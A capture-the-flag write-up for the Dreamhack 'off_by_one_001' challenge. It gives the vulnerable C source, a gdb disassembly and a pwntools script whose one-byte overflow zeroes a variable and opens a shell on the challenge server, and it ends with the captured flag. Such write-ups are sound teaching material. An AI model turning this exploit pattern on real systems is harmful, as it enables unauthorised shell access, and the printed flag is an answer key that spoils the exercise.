off_by_one_001
Enumeration
System information is as follows.
Ubuntu 16.04
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
Reading the source code reveals its mechanics.
- Reads from standard input and save it to
name
. - If
age
is 0, give a shell.
┌──(m0nk3y@kali)-[~/DH/off_by_one_001]
└─$ cat off_by_one_001.c
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler()
{
puts("TIME OUT");
exit(-1);
}
void initialize()
{
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
void read_str(char *ptr, int size)
{
int len;
len = read(0, ptr, size);
printf("%d", len);
ptr[len] = '\0';
}
void get_shell()
{
system("/bin/sh");
}
int main()
{
char name[20];
int age = 1;
initialize();
printf("Name: ");
read_str(name, 20);
printf("Are you baby?");
if (age == 0)
{
get_shell();
}
else
{
printf("Ok, chance: \n");
read(0, name, 20);
}
return 0;
}
Exploitation
Since the program reads 20 bytes instead of 19, I’ll be able to overflow name
by 1 byte, overwriting age
. To confirm this speculation, I’ll disassemble the binary.
gdb-peda$ disas main
Dump of assembler code for function main:
0x08048654 <+0>: push ebp
0x08048655 <+1>: mov ebp,esp
0x08048657 <+3>: sub esp,0x18
0x0804865a <+6>: mov DWORD PTR [ebp-0x4],0x1
0x08048661 <+13>: call 0x80485c2 <initialize>
0x08048666 <+18>: push 0x8048754
0x0804866b <+23>: call 0x8048420 <printf@plt>
0x08048670 <+28>: add esp,0x4
0x08048673 <+31>: push 0x14
0x08048675 <+33>: lea eax,[ebp-0x18]
0x08048678 <+36>: push eax
0x08048679 <+37>: call 0x8048609 <read_str>
0x0804867e <+42>: add esp,0x8
0x08048681 <+45>: push 0x804875b
0x08048686 <+50>: call 0x8048420 <printf@plt>
0x0804868b <+55>: add esp,0x4
0x0804868e <+58>: cmp DWORD PTR [ebp-0x4],0x0
0x08048692 <+62>: jne 0x804869b <main+71>
0x08048694 <+64>: call 0x8048641 <get_shell>
0x08048699 <+69>: jmp 0x80486b8 <main+100>
0x0804869b <+71>: push 0x8048769
0x080486a0 <+76>: call 0x8048450 <puts@plt>
0x080486a5 <+81>: add esp,0x4
0x080486a8 <+84>: push 0x14
0x080486aa <+86>: lea eax,[ebp-0x18]
0x080486ad <+89>: push eax
0x080486ae <+90>: push 0x0
0x080486b0 <+92>: call 0x8048410 <read@plt>
0x080486b5 <+97>: add esp,0xc
0x080486b8 <+100>: mov eax,0x0
0x080486bd <+105>: leave
0x080486be <+106>: ret
Checking the memory address proves that the offset is 20 bytes between two variables.
name= $ebp-0x18
&age= $ebp-0x4
I’ll write an exploit which will give me a shell.
┌──(m0nk3y@kali)-[~/DH/off_by_one_001]
└─$ cat exploit.py
import sys
from pwn import *
client= remote(sys.argv[1], int(sys.argv[2]))
payload= "\x90"*20
client.recv()
client.sendline(payload)
client.recv()
client.recv()
client.interactive()
By running the exploit, I’m able to gain a shell as the user off_by_one_001
.
┌──(m0nk3y@kali)-[~/DH/off_by_one_001]
└─$ python2 exploit.py host1.dreamhack.games 9855
[+] Opening connection to host1.dreamhack.games on port 9855: Done
[*] Switching to interactive mode
$ id
uid=1000(off_by_one_001) gid=1000(off_by_one_001) groups=1000(off_by_one_001)
Post Exploitation
With the shell acquired, I’m able to read the flag.
$ cat flag
DH{343bab3ef81db6f26ee5f1362942cd79}